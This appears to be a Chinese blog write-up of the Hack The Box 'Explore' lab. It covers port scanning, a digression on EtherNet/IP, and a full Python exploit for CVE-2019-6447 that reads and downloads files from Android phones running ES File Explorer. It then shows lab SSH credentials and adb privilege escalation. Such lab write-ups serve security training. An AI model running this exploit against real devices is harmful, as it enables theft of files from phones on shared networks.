hack the box explore

今天来继续打靶,hack the box的explore

  1. 拿到目标先扫描么,看看开了那些端口和服务
    hack the box explore_第1张图片
    碰到个没开80端口的服务器

EnterNet/IP:

设备可以用户数据报协议(UDP)的隐式报文传送基于IO的资料
,用户传输控制协议(TCP)显示报文上传和下参数,设定值,程式 ,用户主站的轮询
从站周期性的更新或是改变状态COS,方便主站监控从站的状态,讯息会使用UDP的报文发送出去

特性:  EnterNet/IP

工业以太网组成的系统具有兼容性和互操作性,资源共享能力强和传输距离远,传输速率高优势

EtherNetIP在物理层和数据链路层采用以太网,可以与标准的以太网设备透明衔接,并保证随着以太网的发展,EtherNetIP也可以进一步扩展。EtherNetIP的网络层和传输层采用UDP协议传送实时性要求高的隐式报文,如面向控制的实时I/O数据,优先级较高;用TCP协议的流量控制和点对点特性通过TCP通道传输非实时性的显示报文,优先级较低

工作模式:

EtherNet/IP采用生产/消费模式,它允许网络上的节点同时存取同一个源的数据。在生产/消费模式中,数据被分配一个唯一的标识,每一个数据源一次性的将数据发送到网络上,其他节点选择性的读取这些数据,从而提高了系统的通信效率

  1. 好嘛,前面扫描的不准确对2222端口搞了半天之后,做不下去了查了教程重新扫描出了一些东西
    在这里插入图片描述
**PORT STATE SERVICE VERSION**

**2222/tcp open ssh (protocol 2.0)**

**\| fingerprint-strings:**

**\| NULL:**

**\|\_ SSH-2.0-SSH Server - Banana Studio**

**\| ssh-hostkey:**

**\|\_ 2048 71:90:e3:a7:c9:5d:83:66:34:88:3d:eb:b4:c7:88:fb (RSA)**

**37779/tcp open unknown**

**42135/tcp open http ES File Explorer Name Response httpd**

**\|\_http-server-header: ES Name Response Server**

**\|\_http-title: Site doesn't have a title (text/html).**

**59777/tcp open http Bukkit JSONAPI httpd for Minecraft game server 3.6.0 or
older**
  1. 这次的扫描正常了,有37779,42135,59777三个端口开了http服务我们访问试试
    hack the box explore_第2张图片hack the box explore_第3张图片
    hack the box explore_第4张图片
    4,37779端口不能访问我们对其他两个目录扫描,59777的目录扫描发现他在根目录下,不过我发现有了有意思的适用于Bukkit
    JSONAPI httpd for Minecraft game server 3.6.0 or older

    (Minecraft游戏服务器3.6.0或更高版本的Bukkit JSONAPI
    httpd)他是个我的世界的服务器果断放弃这个端口试试其他的端口,在对42135端口的搜索时发现了它有任意文件读取的漏洞直接下载poc利用

注释:

ES fileexplorer实际上是Android上的文件管理器。然而,随着时间的推移,它被证明不那么可信。最近的一个漏洞提醒我们为什么现在有更好的选择。
据AndroidPolice报道,ES中存在一个新的漏洞,它将你的文件暴露给同一网络上的任何人,你只需打开一次应用程序。这个bug是通过研究Elliot
Alderson发现的,他在Twitter上发布了相关信息。
With more than 100,000,000 downloads ES File Explorer is one of the most
famous #Android file
manager.
The surprise is: if you opened the app at least once, anyone connected to the
same local network can remotely get a file from your
phone https://t.co/Uv2ttQpUcN— Elliot Alderson (@fs0c131y) January 16,2019
显然,ES在启动后会让你手机上的端口59777保持打开状态,让同一网络上的任何人都可以访问文件结构和其他内容。攻击者可以使用该开放端口注入JSON负载,然后访问并下载您的所有信息。

exp:

\# Exploit Title: ES File Explorer 4.1.9.7.4 - Arbitrary File Read

\# Date: 29/06/2021

\# Exploit Author: Nehal Zaman

\# Version: ES File Explorer v4.1.9.7.4

\# Tested on: Android

\# CVE : CVE-2019-6447

import requests

import json

import ast

import sys

if len(sys.argv) \< 3:

print(f"USAGE {sys.argv[0]} \ \ [file to download]")

sys.exit(1)

url = 'http://' + sys.argv[2] + ':59777'

cmd = sys.argv[1]

cmds =
['listFiles','listPics','listVideos','listAudios','listApps','listAppsSystem','listAppsPhone','listAppsSdcard','listAppsAll','getFile','getDeviceInfo']

listCmds = cmds[:9]

if cmd not in cmds:

print("[-] WRONG COMMAND!")

print("Available commands : ")

print(" listFiles : List all Files.")

print(" listPics : List all Pictures.")

print(" listVideos : List all videos.")

print(" listAudios : List all audios.")

print(" listApps : List Applications installed.")

print(" listAppsSystem : List System apps.")

print(" listAppsPhone : List Communication related apps.")

print(" listAppsSdcard : List apps on the SDCard.")

print(" listAppsAll : List all Application.")

print(" getFile : Download a file.")

print(" getDeviceInfo : Get device info.")

sys.exit(1)

print("\\n==================================================================")

print("\| ES File Explorer Open Port Vulnerability : CVE-2019-6447 \|")

print("\| Coded By : Nehal a.k.a PwnerSec \|")

print("==================================================================\\n")

header = {"Content-Type" : "application/json"}

proxy = {"http":"http://127.0.0.1:8080", "https":"https://127.0.0.1:8080"}

def httpPost(cmd):

data = json.dumps({"command":cmd})

response = requests.post(url, headers=header, data=data)

return ast.literal\_eval(response.text)

def parse(text, keys):

for dic in text:

for key in keys:

print(f"{key} : {dic[key]}")

print('')

def do\_listing(cmd):

response = httpPost(cmd)

if len(response) == 0:

keys = []

else:

keys = list(response[0].keys())

parse(response, keys)

if cmd in listCmds:

do\_listing(cmd)

elif cmd == cmds[9]:

if len(sys.argv) != 4:

print("[+] Include file name to download.")

sys.exit(1)

elif sys.argv[3][0] != '/':

print("[-] You need to provide full path of the file.")

sys.exit(1)

else:

path = sys.argv[3]

print("[+] Downloading file...")

response = requests.get(url + path)

with open('out.dat','wb') as wf:

wf.write(response.content)

print("[+] Done. Saved as \`out.dat\`.")

elif cmd == cmds[10]:

response = httpPost(cmd)

keys = list(response.keys())

for key in keys:

print(f"{key} : {response[key]}")

在这里插入图片描述
hack the box explore_第5张图片

获取了一些图片,一张张查看会发现用户名密码,这也让我们知道渗透测试过程中任何信息都不能放过
hack the box explore_第6张图片
4,直接登录到服务器,前面nmap扫描出来的结果告诉我们ssh端口是2222

username = kristi

password = Kr1sT!5h@Rp3xPl0r3!
在这里插入图片描述
5,成功登录查看权限
在这里插入图片描述
6,只是个普通权限,不堪重用,我们来试试提权,这个是个安卓机,完全不懂
不过查看了一会儿教程之后有点懂
这是adb提权,首先在kali安装apt-get install android-tools-adb
可能是这个adb工具不支持远程所以把ssh的连接转发在本地端口
在这里插入图片描述
然后用adb工具连接靶机
在这里插入图片描述
这样就是连接成功,然后提权
hack the box explore_第7张图片
7,现在获取flag,结束战斗
在这里插入图片描述
补充:
hack the box explore_第8张图片

你可能感兴趣的:(hack,the,box,udp,tcp/ip,hacks,安全)